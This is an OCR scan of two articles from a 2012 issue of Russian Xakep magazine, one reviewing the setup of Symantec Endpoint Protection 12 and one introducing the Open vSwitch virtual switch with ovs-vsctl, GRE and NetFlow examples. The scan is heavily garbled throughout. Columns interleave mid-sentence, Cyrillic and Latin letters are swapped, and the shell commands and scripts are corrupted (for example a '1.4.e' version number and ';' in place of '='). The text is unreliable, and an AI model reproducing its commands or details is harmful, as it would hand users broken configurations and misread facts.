VM. П о дд ерживаются Н урег -V, Novell Xen .
п ро д ук т ы от VMWaгe,
MS которого можно най т и о тв еты практически на в се воп р ос ы по раз
Как это п ри н я т о в п о д об ны х пр о д ук та х, к л ие н т у п рав л яется с сер в ера
SEP,
SEPM
Р е да к т и рование nол и т ики в
сканиро в ания. Также б л окируе т ся о д но в реме н ный запуск провер
вертыванию и сопровожде н ию п ро д укта.
н о, ес л и система рабо та ет а в то н ом н о, ре д ко п одклю
УСТАНОВКА
чаясь к ко рп о рати вной се т и, д ос т у п е н дл я ис п о л ьзования так на
SEP MANAGER
зываемый «неу пр ав ля е мы й кл и ен т ». В та ком с л у ч ае пол ь зователь
Сервер у правления
самостояте льн оу пра в л яет н ас тр ойкам и а н ти в и р уса. Обновление
тер под управлением
SEP Manageг можно установи т ь только н а ком п ью Windows. П осле за п уска setup.exe п оявится окно которое, кроме собственно ус т ано в ки SEPM, п редла г ает
про гр амм н ых мо д ул ей и ант и в ирусн ы х баз п роизво д и т ся при по
приветствия,
мощи д опо л ните льн о г о ком п о н ен т а
ссылки , позволяющие ознакомитьс я с п ре д варитель н ой и н формаци
LiveUpdate,
сам процесс может
е й и установить дру г ие инструменты а д ми н истри р ования [Live Update
за п уска т ься в о вр ем я без д ейс тв и я к л ие нт о в .
Д ос т упн ы в ерси и аг е нта п о д р аз н ые О С [Wi n, Lin ux и Мае 05 Xl,
Администратор, сервер или консоль Ц ентра л ьного кара нт ина!. П о д
ч т о п озво л яе т з ащ и т и ть все ком пь ю т е р ы в гетеро г ен н ой сре д е. Ин
меню « Ус т ановить
т ерфейс клиен т ской ча сти для
пункта, позволяющие установить собственно Ма п аgег или <<неу п рав
Windows
п ол н ос ть ю русифицирован,
дл я остальных ОС - то ль ко а нгли йска я в ерси я . Л ицензируется п о ко л ичест в у к л ие нт ов, ко н со ль
SEP M д о п о лн и т ел ь ной
Symantec Endpoint
P гo t ectio n >> скрывают ся д ва
ляемый>> клиент. Запускаем мастер установки
SEP
лицензии
SEPM, при н имаем
лицензион н ое соглашение , за т ем выбираем катало г, куд а будет
н е требует. П ос л е ус тан о в ки п ре д оста вл яе т ся 6 0 - дн е в н ы й тестовый
инсталлирован
п ерио д , п оз вол я ющи й о ц е нить
цесса установки появится мастер настройки сер в ера управ л е н ия, на
SEP
в д ейс тв ии, п о лн ос т ью развер
SEPM, и
щелкаем « Установи т ь >>. П о око н чании п ро
первом этапе которого предстоит опреде л иться с конфигурацией. Н а
н у т ь и нас тр ои т ь а ге нты .
выбор пре д лагае тся три варианта: Default [ п ростая ус тано в ка с о дн им SEPM для сети менее чем со 100 ПКI, Custom [выбороч н ая н ас т ройка параметров сети более 100 П К I и восстановление настроек п ри по
Ещ е о д и н н еобяз ат е ль н ы й ком п о н е н т - ц е нтраль ный кара н ти н- полу ч ает п о д оз рит ел ьны е фай лы о т к ли е н тов и nе р е д ае т
образец д ля а н а л иза в с л ужбу
Syma ntec Secu г ity Response . Е сли
мощи гесоvегу-файла .
об на руж и вается н о вы й вир ус, г е н е ри руется обно вл е н ие. Д окумен т а ц и я в се гд а была си л ь н ой с т о р о н ой
Symantec,
Выбираем вариант
дл я
Custom и вводим количество П К в се т и, SEP M. Так как сервер у нас пока один, на
зака ч ки д ос т у п е н о тд е льны й п а к е т с м ан уал а м и и д опол ни тельны
которыми будет у п равлять
ми утили т ам и р азмером
следующем шаге создаем новый сай т. Сре д и а л ьт ернативных в а
411
М б. Ч ас ть из руково д с т в п ереведе на
н а русск и й я зык, чт о у п ро щ ае т з н ако м с тв о с
SEP. Д ля сиса д минов п ре дн азначено « Р уко в о д ст в о п о в н е др е н ию Symantec Endpoint Pгo tect i oh и Sy mantec N e two г k Access Co n tгol>>, н а 1167 с т раницах
риантов- установка допол н итель н ого сервера, по д ключе н ие к су
ществующему сайт у или уста н овка д о п олнительного сай т а. Д алее задаем имя сайта и сервера и п роверяем номера п о р тов, ис п оль-
СИСТЕМНЫЕ ТРЕБОВАНИЯ Полностью список nоддерживаемых
клиентски х ОС можно найти в документе « Спецификация : Защита конечных систем >> . Для установки агента потребуется к омпьютер с процессаром класса
ln-
tel Pentium 111 1 ГГц и выше, 512 Мб ОЗУ [рекомендуется 1 Гб ОЗУ! и 700 Мб места на
Клиент
х арде .
Клиент
7 и серверные 2k3/2k8, включая Smaii/Es sential Business Sегvег. Клиент для Linu x nоддерживает установку на : DeЬian 4/5/6 , Ubuntu 8.04-11.04, Fedoгa 10/12/13/15, SLES/ SLED 9/10/11, RHEL , Novell Li nu x Desktop 9 и Open Enteгprise Serveг.
Symantec Endpoint
Window s nоддерживает
Pгotection для
версии
2k,
ХР,
Vista ,
Symantec Endpoint
Pгotection для
Мае на базе
lntel
с Мае
05
Х
10.4-10 .7 li86
и х 64 реда к ции! . Сервер управления
Endpoint
Pгotection
Manageг требует к омпьютер не ниже
Pentium 111 1 ГГц с 1 Гб ОЗУ 14 Гб рекомендуется! с 4 + 4 Гб свободного места (сервер+ БДI , работающи й поД управлением Win XP-2k8 . В ка ч ес тве сервера базы данны х можно
Мае: Мае на базе РоwегРС с
MacOS
Х
10.4-10.5 х ;
использов а ть встроенную БД или
MS ·SQL .
ХАКЕР
EPIDEMZ.NET
05/160/2012
На с тра же корпоративных интересов
@
Symantec EndpoiПt Protect•on l·lanager
_•
Qj) Symantec•• Endpoint Protection Manager Му
Clients EJ-
Му
L
Company
Policy serial number: DC58-03/12/2012 12:19:09 688
Company Oefauk Group
Location-independent Policies and Settings Polюes
fl!onlors
Settiпgs
Custom Intrusion Prevention System Lockdown Network Application Monitorinq
LiveUOOate Content Policy Settings Client Loa Settinqs Communications Settinqs External Communications Settings General Settinqs
Off Off Off
В.eports
Location-specific Policies and Settings
--~~~~ВВ--ВВ9В~~~
с=:
Add а oolicv ..• Tasks ~ Tasks ~ Tasks ~ Tasks ~ Tasks ~ Tasks ~
Location-specific Policies: Virus and Spyware Protection policy - Balanced [shared] Firewall policy [shared] @ Intrusion Prevention policy [shared] ~ Application and Device Control policy [shared] t!1 LiveUpdate Settings policy [shared] l!J Exceptions policy [shared] +' Location-specific Settings:
IJ
~ienls
Tasks
~
Add
(jf
Manage Locations ...
Locзtion ...
~ Export Communicзtions Settings. 1?1 Сору lhe group policies
~
Addogroup
Recent changes appear below:
Oescription
Time
Added shared ро~су upon system install Added shared policy upon system instaU
В
SEP для удобства
March 11,2012 7:38:40 March 11,2012 7:38:40
1
Administrator
admin admin
РМ РОТ РМ РОТ
применения различных п о литик клиенты распределяются по группам
зуемых компонентами
SEPM,
чтобы не было конфликтов с другими
приложениями. На следующем экране необходимо выбрать между
встроенной базой данных [по умолчанию! или внешней . Во втором
Визуально консоль разделена на два поля. Элементы основного
меню администратора
[Home, Monitoгs, Repoгts , Policies, Clients и Adminl расnоложены слева на вертикальной nанели, в большом
случае п она д обится создать новую базу данных либо указать
поле справа производятся все настройки . П ос л е выбора опре д е
параме тры п о дкл ючения к су щ ествующей. По сле этого создаем
ленных пунктов будут также д ос т у пны подменю, некоторая их часть
уче т ную запись администратора [ лаги н фиксированный: admiпl,
находится внизу экрана и не сразу бросается в гл аза.
указав параль и
e-mail.
Дл я связи клиентов с сервером управления
В nервом окне IHomel выводится основная информация о гло
используется пароль, который задаем вручную или генерируем
бальном уровне угроз, статусе защиты антивирусной сети , что
автоматически. Этот же параль используется при восстановлении
позволяет администратору оценить ситуацию сразу же после реги
работы анти~ирусной сети. Чтобы SEPM мог отправлять уведом
ле н ия от имени администратора, на сле д ующем шаг е указываем
страции. Здесь же находится достуn к основным отчетам. Настройки сервера и учетной зап и си админист ратора н а
параметры SМТР-сервера и адрес админа. Прав иль н асть параме
ходятся в меню
тров можно проверить, нажав кнопку Seпd
новый сертификат сайта [при установке
будет ли сервер в
Symantec,
SEPM
Test E- mail . Определяем,
отправлять информацию о работе антивируса
после чего некоторое время ждем, пока произойдет
инициализация базы данных. Н а этом установка закончена. От
метив в п ос л е дн ем ок н е флажки, можно сразу запустить консоль
управления и/или мастер миграции с Symaпtec Aпtiviгus.
Adm in.
Вы бра в этот пункт, можно ус т ановить
SEPM генерируется
самоподписанный сертификат!, изменить настройки серверов
SEPM , подключенных к консоли, добавить/изменить домен [nо сле установки имеем один домен- Defaultl, подключить LDAP 1 Active Diг ecto г y или сервер репликации, на строи ть аутентифика цию Secuгe ID и многое д ругое. П о умолча н ию через один час администратору необходимо будет
КОНСОЛЬ
SEPM
перелогиниться, при первых настройках это очень мешает. П оэтому
После регистрации в консоли управления увидим отдельное окно, в котором будет выведен список первоначальных задач, ссылки для их выполнения и небольшой гид
no прод укту.
Отсюда мож н о
проверить статус лицензий, настроить а втоматиче ское обнов л е ни е
переходим в <<Admin 7 Seгveгs -7 Local Site», нажимаем «Ed it Site Pгopeгties>> и устанавливаем большее значение в «Geneгal -7 Console timeout». В остал ьны х подвкладках производится настрой ка подключения к Live Update, о nтими за ция работы веб- серве ра ,
LiveUpdate, развернуть агентов и н ас тр ои ть пар аме тр ы сервера SEPM. Е сли закрыть окно, то быстро перейти к названным задачам можно через список Common Task, который расположен в правом
разрешается сброс пароля админис трат ора.
верхнем углу.
выполнял администратор, доступны в меню Monitoгs. В Repoгts
ХАКЕР
Сводки об угрозах, различные события, произоше дш ие в за щищаемой сети, уведомления и информация о коман д ах, которые
125
05/160/2012
EPIDEMZ.NET
SYN/ACK ф Synыntec EndpoiПt Protectюn
-1 Symantec.
Select Group and lnstall Feature Sets
1'1anager
Qj) Symantec•• Endpoint Protection Manager
lnstaiiPatk:ages:
_j
Quick Repons 1 Scheduled Reports 1
Risk Reports
"*"328!T; ~-SymefiecE~Protedlonversion12. 1 .671.4971(2012.0З-11) ,,_.IE141:!1T: 'o"kodowt-SymeltecE/'IclpoirtPrdectionve-sion12.1 .67 1 .4971{2012.0З-11)
\Vhat type of report would you like to see? Grnup:
114yCo mpвf'IYtO ef&un Group
81 Gl Gl
Report type: tnstaiiFeatureSets: IFIAIPrdectioniDfelarir Recornmerded lor tepops n
deslrtosn- ncLdes 81 protectian I«::Y\ooogin .
Selected report:
j k'lfected and At Risk Compu1ers
Use а saved
! Defeul
filleг.
tnstaiiSettings:
ContentOptions:
r.
Al cootent (Recommendedl Тhis
What filter settings wou ld you like to use?
option provldes mexionl..m secuty iorrntlcмte!V !Diowing cienl insfllatlon . .ц cortert is cor1-.ed;, the
p!IICk8ige:l!lllhet~ofdepJoymert .
r
вasiccontent Тlme
Preferred 114ode:
r.
Computer mode
8
1Pasl 24 hours
renge:
1 Usermode
Создаем nакет при помощи мастера развертывания клиентов
В меню
найдем несколько видов отчетов, наглядно представляющи х ин
формацию как в графическом, так и в тек стовом вид е.
Reports доступно
несколько отчетов
НАСТРОЙКАПОЛИТИК Общие настройки работы различных компонентов антивируса про изво дят с я в разделе
РАЗВЕРТЫВАНИЕ КЛИЕНТОВ
Policies.
П олитики разделены на несколько
типов, соответствующих компонентам ан тивир уса, - Viгus
And and
Теперь, когда сервер настроен, можно приступать к под к люч ению
Spywaгe Pг otectioп, Fiгe wall , lntгusion Pгeveпsion, Applicatioп
клиентских ПК, но вначале следует установить агентов на уда
Device
ленных системах. Для этого в консоли
п олучи м доступ к более подробным настройкам. Например , пере й дя
SEPM
при помощи мастера
Coпtrol,
Live Update
и
Exception.
Выбрав любой из пунктов ,
развертывания клиентов создаем пакет. Этот пакет в дальней
в настройки п оли тик защиты от вирусов и программ-шпионов,
шем можно распространить среди ПК любым удобным спосо
найдем три предустановки: рекомендуемая, повышенная и высокая
бом - встроить в образ, через групповые политики
безопасность. При создании новой или редактировании имею
AD или пр ос то
запус тить вручную на удаленной системе. Не управляемый клиент
щейся политики откроется окно, содержащее дв е группы настроек
устанавливается из меню развертывания
(отдельно для Wiп и Мае!. В них определяются параметры сканиро вания файлов, использование дополнительных технологий [lпsight, SONAR- см. соответс тв ую щую врезку! , действия при обнаружении
SEPM,
на этапе <<Тип кли
ента >> можно указать и вариант <<Управляемый клиент>>, но выбор этого пункта приведет лишь к выходу из мастера.
Запускаем Clieпt D eploymeпt Wizaгd и в первом окне выбираем
New Package
Deploymeпt. Дал ее идет основное окно на с тро ек,
вредоносных файлов, приоритет использования ресурсов, каран
тин, проверка
и многое другое. Большинство параметров
в котором следует выбрать тип установочного па кета [Win 32/64
должно быть знакомо тем, кто хоть раз сталкиеалея с настройками
или Macl, группу, к которой буд ет применена установка, набор компонентов [полная защита для сервера или клиентов, базовая
обычно г о антивируса и файрвола. Администратор может разрешить
защита сервера ! , содержимое [все или выборочно! и режим ра
меченные значком в форме замка : если замок закрыт, то локальное
боты [компьютер или пользователь!. Определяемся со способом
изменение запрещено .
пользователю самостоятельно изменять некоторые установки, от
установки клиентов: ссылка и электронная почта, удаленная рас
сылка [R emote Pushl или про сто сохранить пакет- для установ 1
ЗАКЛЮЧЕНИЕ SEP 12- очень
ки/распространения любым другим способом. В первом варианте
В целом
генерируется ссылка, перейдя по которой пользователь само
использование которого не должно вызвать каких-либо слож
простой в работе и надежный продукт,
стоятельно скачивает и устанавливает пакет [при наличии прав
ностей у администратора даже с невысоки м уровнем п одго т овки.
локального админаl. Во втором- весь процесс происходит ав
А наличие качественной документации только упрощает процес с
томатически, для этого производится п оиск компьютеров в сети,
з наком с тва.::::;:
затем администратор отбирает нужные и приступает к установке
[буд ут запро шены данные пользователясправами админаl. П о сле устано вки а гента потребуется перезапустить компьютер . Дал ее всеми настройками можно у правлять из консоли
SEPM
при помощи политик. Чтобы у про сти ть распространение од н отип
КАКИЕ ПОРТЫ ОТКРЫВАТЬ
ных установок, используется концепция групп, по которым распре
д ел яются компьютеры или п ол ьзователи . Вы б рав в списке н ужную
SEPM
группу в поле с права , пол у чаем в озмож н ость редактирования
Компоненты
политик. П ос ле уста н о вки в консоли
должны быть открыты правилами файрвола,-
Clients
при сутс тв уе т группа
верхне го уровня Му Сотрапу с одной гр у ппой п о умолчанию
Default
используют несколько портов, которые
(подключение клиентов),
8443
Gгoup. Далее а д ми ни стра тор самостоятельно создает группы [под
9090
держивается несколько у ровней вложенностиl, возможно наследо
сервером),
вание политик групп и ко пирование гр у пп.
понадобится открыть также:
8014
(удаленное управление сервером),
lвеб-консольl, 8444(веб-сервисl,8765(управление
126
8445
(отчеты). При развертывании клиентов
137-139, 445, 2967.
ХАКЕР
EPIDEMZ.NET
05/160/2012
01
02
03
04
КАЖДУЮ НЕДЕЛЮ
ГЕРОИ И ЗЛОДЕИ
READER@GLC.RU
ЕЖЕНЕДЕЛЬНИК
НАШ КОЛУМНИСТ
АНГЛИЙСКОЙ
ИЩЕМ АВТОРОВ .
В ЭЛЕКТРОННОМ
О ФУТБОЛЬНОЙ
ПРЕМЬЕР-ЛИГИ
ПРИСЫЛАЙТЕ
ФОРМАТЕ ВЫХОДИТ
КУЛЬТУРЕ
ПО ПОНЕДЕЛЬНИКАМ
ИНФОРМАЦИЮ О СЕБЕ
В СУББОТУ УТРОМ
СКАЧАЙТЕ КОПИЮ НА ЧЕМПИОНАТ.СОМ В ФОРМАТЕ ЭЛЕКТРОННОЙ КНИГИ .EPUB 1 .PDF 1 .MOBI- БЕСПЛАТНО
EPIDEMZ.NET
Реклама
SYN/ACK
Евгений Зобнин lexecЬit.rul
Соединяй ...
ВИРТУАЛЬНЫЙ КОММУТАТОР OPEN VSWITCH: ОБЗОР
ивпаствуи
ВОЗМОЖНОСТЕЙ
И ПРИМЕНЕНИЕ
Эра об лачных вычислений постепенно вошла
I:I:J:IШIЩ!i
в нашу жизнь, принеся с собой множество
Без качественных управляемых коммутаторов просто н е в озможно
1
наладить правильную работу крупной сети и добит ь ся оп т имал ь
плюсов для системных администраторов,
ной пропускной способности и взаимодействия меж д у ее элемен
которые теперь могут управлять целыми
тами. Хоро ш ий коммутатор предоставляет такие необхо д имые
сетевыми фермами серверов, не вставая
агрегация каналов , зеркалирование трафика и даже функции
с удобного кресла . Однако там , где есть
брандмауэра.
возможности, как организация виртуальных сетей
Настолько же важную роль коммутато р ы иг р ают и в виртуаль
виртуальные машины, должна быть
ных сетях, однако до недавнего времени решения, ре а лизующие
и виртуальная сеть , их связывающая.
программные коммутаторы, nредлагали только коммерческие
организа ц ии, которые просили за них немалые д еньги . За тот
Небольшую виртуальную сеть создать
же
просто, а вот когда речь заходит о десятках
Cisco Nexus 1OOOV для
систем VMwaгe vSp h eгe п р и хо д илось
отдавать около тысячи долларов, что п устяк в с р авнении с остал ь
ными расходами на сетевую инфраструктуру, н о, тем не ме н ее,
и сотнях виртуальных машин , без
дополнительная трата средств. В д обавок это п ривязка к д ру г ому
качественного виртуального коммутатора не
обойтись .
[V LANI , QoS,
коммерческому реше н ию, за которое придется отд ать е щ е больше. Сегодня, когда полностью открытые решения на базе
KVM
и
Xen
уже д ос т игли того уров н я раз в ития, при котором они могут со ста-
128
ХАКЕР
EPIDEMZ.NET
05/160/2012
Соединяй и властвуй
Other Floodlight Highlights
FlowScale
• Actwe vюrt in
г-
defirang standard "Nortltlourwr
•• •••• ••• • ••
APis
...) •
Supportfor Wlth
1ntegrab~
non..Q)eri=km
s
Как работает контроллер
...,. . .... ... .... ··~
~
networks
:h
Приложеине
Floodlight
вить конкуренцию коммерческим продуктам виртуализации, нам
FlowScale на базе OpenFiow
$ tar -xzf openvswitch-1.4.e.tar.gz
нужен такой же открытый коммутатор, не привязанный к коммер
2.
ческим решениям.
К счастью, такой продукт есть, и носит он имя О реп
vSwitch . Это
многоуровневый коммутатор с открытым исходным кодом, раз рабатываемый совместными усилиями Citгix,
Red Hat,
Сапопiсаl,
Огасlе и других компаний [в команде разработчиков есть даже человек из FгeeBSD Fouпdatioп). О реп
Запустить процесс сборки с помощью вы зова стандартных
configuгe и
make. В том
случае, если ты хочешь установить версию,
работающую только в пространстве пользователя [удобно для тестирования возможностей), команды сборки будут иметь следую щий вид:
vSwitch может работать как
на уровне ядра, так и в пространстве пользователя, предлагая следующие возможности:
• поддержка nротоколов NetFiow, sFiow, SPAN и RSPAN; • поддержка VLAN [IEEE 802.10); • механизм QoS; • возможность агрегации портов с распределением нагрузки; • GRЕ-туннелирование; • совместимость с программным мостом Linux Bгidge [bгctl); • индивидуальные политикидля виртуальных машин.
$ ./configure $ make $ sudo make install $ Если же предполагается установка модуля ядра, configuгe сле дует вызвать с опцией
$ ./configure
Коммутатор имеет распределенный дизайн, позволяющий
«--with-linux»:
--with-linux=/liЬ/modules/ ' uname
-r ' /bui ld
После этого можно загрузить модуль ядра с помощью
insmod:
установить компоненты системы на множество физических ма шин и управлять общей виртуальной сетью, используя протокол
Open Fiow,
$ insmod datapath/linux/openvswitch.ko
другими словами- используя любой совместимый
с этим протоколом интерфейс удален ного управления коммутато
З. Создать базу настроек, которая будет использована для хранения
рами.
текущей конфигурации коммутатора:
Сегодня мы рассмотрим, как установить и начать использовать Ореп
vSwitch
на одной физической машине с несколькими
виртуальны~и гостевыми окружениями. Рассказ об установке и на
стройке крупной сетевой инфраструктуры потребовал бы гораздо более объемной статьи, поэтому нижеследующий текст можно
$ sudo mkdir -р /usr/loca l /etc/openvswitch $ sudo ovsdb-tool create \ /usr/local/etc/openvswitch/conf.d b \ vswitchd/vswitch.ovsschema
считать неким введением в технологию и точкой, от которой можно Для корректной работы коммутатора также необходим запуск
оттолкнуться для дальнейшего ее изучения.
сервера конфигурации, который будет nринимать запросы на из
УСТАНОВКА И ЗАПУСК О реп
vSwitch
уже можно найти в репазитариях многих дистрибу
менение настроек коммутатора от утилит управления [он должен работать на всех узлах, участвующих в виртуальной сети):
тивов и портах FгeeBSD, так что в большинстве случаев для его установки не понадобится особых усилий . В некоторых дистри бутивах, однако, может потребоваться ручная установка системы из исходных текстов, в особенности если дистр включает в себя устаревшую версию О реп
vSwitch .
Чтобы установить систему из исходников, необходимо сделать следующее:
1. Получить тарболл
с официальной страницы О реп
vSwitch
и рас
$ sudo ovsdb-server --remote=punix:/usr/local/var/run/ openvswitch/db.sock \ --remote=db:Open_vSwitch,manager_options \ - -pri vate- key=db: SSL., private_key \ --certificate=db:SSL,certificate \ --bootstrap-ca-cert=db:SSL,ca_cert \ --pidfile --detach
паковать его:
По сле этого базу настроек необходимо инициализировать:
$ cd /tmp
$ wget http://openvswitch.org/releases/openvswitch-1.4.e.tar.gz
ХАКЕР
$ sudo ovs-vsctl --no-wait init 129
05/160/2012
EPIDEMZ.NET
SYN/ACK '
IPvб
ветственный за его работу:
. .
_g.
$ sudo ovs-vswitchd --pidfile --detach
с
Демон самостоятельно определит наличие в системе модуля
И
KVM.
~ ~
KVM
0. 0
Open vSwitch может быть использован для управления сетями виртуальных машин, построенных на основе гипервизора Xen и
Однако в этом разделе мы остановимся на
KVM,
как на
более распространенном, популярном и простом в развертывании
средстве виртуализации.
KVM,
2. 5 k
2.0 k
'"u
opeпvswit~h и задействует его возможности в работе.
OPEN VSWITCH
а точнее
QEMU,
traffic total · daily
3.0 k
Нак оне ц, можно запустить сам коммутатор, а точнее демон, от
для которого он
выступает в качестве базы, умеет связывать виртуальные маши ны в сеть и обеспечивать до сту п к внешним физическим се тевы м
интерфейсам с помощью нескольких различных методов. Среди
О
TueOO:OO
in
Cur :: 0.0 Avq • 527 . 5 Нах - 2.6 нin а 0.0 Copyгiqht
(с }
bps bps kbps
bps 2012
Поток трафика и
AНS-IX
ЦJdi!lted:
B. V.
Wed
Нltr
21 08:15:02 2012
sFiow
этих методов есть как очень простой виртуальный интерфейс tuп, позволяющий прокидывать туннель между виртуальным
р у. Второй, соответственно, отключа ть . Для управле ния коммута
и физическим интерфейсом, так и более сложный внутриядерный
тором здесь используетс я стандартная ути лита ovs -vsct l, подроб
механизм Linux B гidge, позволяющий объединить виртуальные
нее о которой я расскажу н иже, хотя мы могли бы использовать для
машины между собой и внешним миром с помощью пр ограммнаго
тех же целей с т арый добрый bгctl [команда «bгctl addif ${switch}
неуправляемого коммутатора. Open vSwitch, в свою очередь, ис
$1 >>1, и сути это бы не поменяло.
пользует Linux Bг i dge в качестве базы, превращая его в слож ный управляемый свитч . Это значит, что если ты уже имел дело
Теперь создадим виртуальный коммутатор. Сделать это можно опять же с помощью bгct l :
с настройкой виртуальной сети на основе L iпux Bгidg e, то легко разберешься с тем , как работает vSwitch. Фактически все, что
$ sudo brctl addbr bre
понадобится сделать,- это изучить несколько новых команд, предназначенных для у правления возможностями коммутатора,
Или вызовом утилиты
ovs -vsctl:
тогда как вся остальная виртуальная сетевая инфраструктура
$ sudo ovs-vsctl add-br bre
останется неизменн ой. В качестве демонстрации привед у приме р настройки про
стейшей сети на основе голого
QEMU
[ то есть без libviгt и прочих
Далее подключаем к свитчу физический сетевой интерфейс:
надстроек типа v iгshl. Допустим, нам необходимо сделать так, чтобы каждая виртуальная машина автом атически подключалась
$ sudo ovs-vsct l add-port bre ethe
к нашему коммутатору во время старта . Нет н ич его проще. Для начала создадим два стартовых скрипта для управления виртуаль
И запускаем виртуальную машину:
ной сетью:
$ sudo qemu-kvm -m 512 -net nic,maddr;ee:11:22 : EE : EE:EE \ -net tap,script;/etc/ovs-ifup,downscript;/etc/ovs-ifdown\ -drive file; /oб paз-диcкa.img,boot;on
$ sudo vi /etc/ovs-ifup #!/bin /s h
После запуска виртуальная машина автоматически получит
switch;'bre' /sbin/ifconfig $1 е.е.е.е up ovs-vs ct l add-port ${switch} $1
собственный виртуальный интерфейс [tap O, tap1, tap2 и так далее!, который будет подключен к коммутатору с помощью старто вого скрипта. Просмотреть информацию о свитче и подключенных ма шинах можно с nомощью одной из двух следующих команд:
$ sudo ~i /etc/ovs-ifdown #!/bin/sh
$ sudo brctl show $ sudo ovs-vsctl list ports bre
switch;'bre' /sbin/ifconfig $1 е.е.е.е down ovs-vsctl del-port ${switch} $1
Теперь коммутатор готов к работе и настройке. В случае использования более высокоуровневых средств управления вир
Первы й будет автоматически поднимать вирт уа льный сетевой
интерфейс, созданный эмулятором, и nодклю чать е г о к коммутато -
туальными машинами, вроде графического viгt-manageг, процесс будет еще проще. Достаточн о выбрать в на с тройка х сети под ключение с п омощью Linux Bгidge и перейти к чтению следующего раздела с татьи.
ПРОДВИНУТЫЕ ВОЗМОЖНОСТИ
ЕСЛИ ТЫ УЖЕ ИМЕЛ ДЕЛО
Теnерь, когда се ть настроена, поговорим о том, что может дать Open
С
vSwitc h в сравнении со стандар тным мостом, встроенным в ядро Linux. Выше я уже nисал о в озмож но стях свитча, а также о том , что он поддерживает протокол уда ленного уnравления OpenFiow,
LINUX BRIDGE,
ТО ЛЕГКО
РАЗБЕРЕШЬСЯ С ТЕМ, КАК РАБОТАЕТ
VSWITCH
а значит, фактически совместим со всеми контроллерами уда л е нного управ ления коммутаторами на ос нове этого протокола.
В частности, уn равление можно осуществлять с помощью открытого
130
ХАКЕР
EPIDEMZ.NET
05/160/2012
С ое диня й и вла с т вуй
Ореn F iоw - контролле р а Floodli ght [ floodlight . openflowhub.oгg ] и кон
теперь этот сетевой интерфейс буд ет конечной точкой туннеля,
солей уnравления на его основе, таких как, например,
то во втором также используем ключ гemote_ip, чтобы сооб-
FlowScale
[ openflowhub . oгg/display/FiowScale ]. Однако в этой статье мы
щить , какую именно опцию мы хотим изменить, а именно - адрес
говорим об О реп vSw itch, поэтому сконцентрируемся на упра в лении
удаленной машины. П о умолчанию база данных О реп
с помо щ ью стандартных коман д , включе н ных в пакет комму т атора.
содержит
В пре д ыду щ ем разделе статьи мы уже вскользь коснулись глав н ого
нения того или иного параметра свит ч а, к примеру
инструмента управления О реп
Каждая таблица содержит собственный набор коло н ок, и порой,
vSwitch -утилиты ovs -vsctl . С ее по
13 табли ц ,
vSwitch
каждая иэ которых п р едназ н ачена д ля изме
QoS или Мiгго г.
мощью можн-о изменять любые настройки коммутатора, начиная от
как ты увидишь из следующего при мера, управля т ь конфи г ура- ·
самых простых, например добавление и удаление пор тов и свитчей:
цией таким способом становится весьма проблема т ично, хотя при настройке таких простых вещей, как GR Е -туннель, все кажется
$ $ $ $
sudo sudo sudo sudo
ovs-vsct l ovs - vsc tl ovs-vsctl ovs-vsctl
add - br br e add- port bre eth e del -port bre et he del -br bre
тривиальным.
2. Экспорт статистики по протоколам NetFiow и sFiow. Ч тобы NetFiow на удаленный
заставить коммутатор слать статистику по
хает, потребуется создать дополнительную запись в таблице : Или вывод на экран списка портов и коммутаторов:
$ sudo ovs-vsct l -- \
$ sudo ovs-vsctl l i st- port s bre $ sudo ovs-vsctl l ist-br
set Bri dge bre netfi ow=@nf -- \ --id=@nf create Net Flow t argets=\"192. 168 .0 .34 : 55 66\" \ active-timeout=Зe
И заканчивая такими, как управление
стики по протоколу
QoS
и пересылка стати
NetFiow. Рассмотрим некоторые из них.
Логика этой команды следующая: мы берем запись ЬгО таблицы
Bгidge и изменяем колонку netflow, записывая в нее ссылку
1. Туннелированне по протоколу GRE. Д опустим, мы должны соз
на пока еще не существующую запись в табли ц е
дать туннель между двумя удаленными машинами так, чтобы одна
дующей строке мы создаем новую запись в
из конечных точек туннеля была портом коммутатора . Для это г о
суемую с помощью ссылки
добавляем дополнительный порт и назначаем ему тип «gге»:
адреса принимающих хостов, а в колонке
[UUID]
Net Fiow. В с л е табли ц е Net Fiow, а д ре
!anf, и прописываем в колонке taгgets active-timeout- время
тайм-аута передачи в секундах. В любой момент конфигурацию можно изменить, например выставив другой тайм-аут:
$ sudo ovs-vsctl add-port bre gree -- \ set Interf ace gree ty pe=gre \ options:remot e_i p=1. 2.3.4
$ sudo ovs-vsct l set NetFlow bre ac tive_timeout =60
Здесь следует пояснить небольшой синтаксический из врат утилиты
Или отменить передачу, очистив колонку
netflow:
ovs-vsctl . Как видишь, первая часть команды выглядит
очень похожей на остальные, тогда как дальше начинается нечто
$ sudo ovs-vsctl clear Bridge bre netfiow
напоминающее указание опций. Н а самом деле это не измене ние опций, а модификация той самой базы данных конфи г ура
Экспорт статистики по sFiow настраивается п очти т аким же
ции. С помощью команды set здесь происходит выбор таблицы
образом:
lnteгface, которая хранит конфигурацию сетевых интерфейсов, закрепленных за портами. Далее происходит выборка записи
$ sudo ovs-vsctl -- --id=@s create sFlow \
<<gгeD>>, которая хранит конфигурацию нужного нам интерфейв первом случае мы изменяем
О
о
••
type и optioпs. При этом если значение колонки type, указав,
agent=eth1 target=\" 1e.e.e. 1 :6343\" \ header=128 sampling=64 polling= 10 -- \ set Bridge bre sfiow=@s
са и изменение двух ее колонок:
что
Х
Add new vlrtual hardware Storage
Network
lnput
Please indicate how you'd like to connect your new virtual network device to the host network .
Graphics
.tlost device:
Sound
Al
Serial
Al
Parallel
€f €f
USB Host Device
~
Video
1•1
Specify shared device name J!ridge name: lьrlO~
PCI Host Device
МАС address:
0 ls2:54:00:9З:79:fЗ
D~:vice model:
Hypervi sor default
f•l Security: VLAN isolation, tгaffic filtering
Watchdog
И ~ancel Ч т обы и спользовать
Open vSwitch в сочет а нии с virt-manager, достаточно
QoS: t raffic queuing and tгaffic shap ing 1
o6) finish
прописать
Monltorlng: Netflow, sFiow, SPAN, RSPAN
Automated Coпtrol: OpenFiow, OVSDB mgmt. protocol
Open vSwitch и его возмо ж ности
в наст ро йк а х с ет и и м я ну ж ного к оммут а тора
ХАКЕР
131
05/160/2012
EPIDEMZ.NET
SYN/ACK
Hostl
Externally controlled Switch
Host l
Switch
OpenFiow lnterface
Bulld lnformat/on Programmвtlc
!1\IDetllll
Data Plane
API
Log ln
Store information
Entrtelfi: SS
Pollcy, Topology
WordPttu.org
Forwaгding
Как работает
Онлайновая документация по настройке VLAN
4. QoS.
Path
OpenFiow
Упра влением качеством обслуживания в L iпuх-версии
О реп
vSwitch занимается подсистема Tг affic Сопtгоl, о которой я подробно писал в статье <<Каж дому по потреб н остям>> IH #7
Обрати внимание, что здесь мы вначале создали запись в та
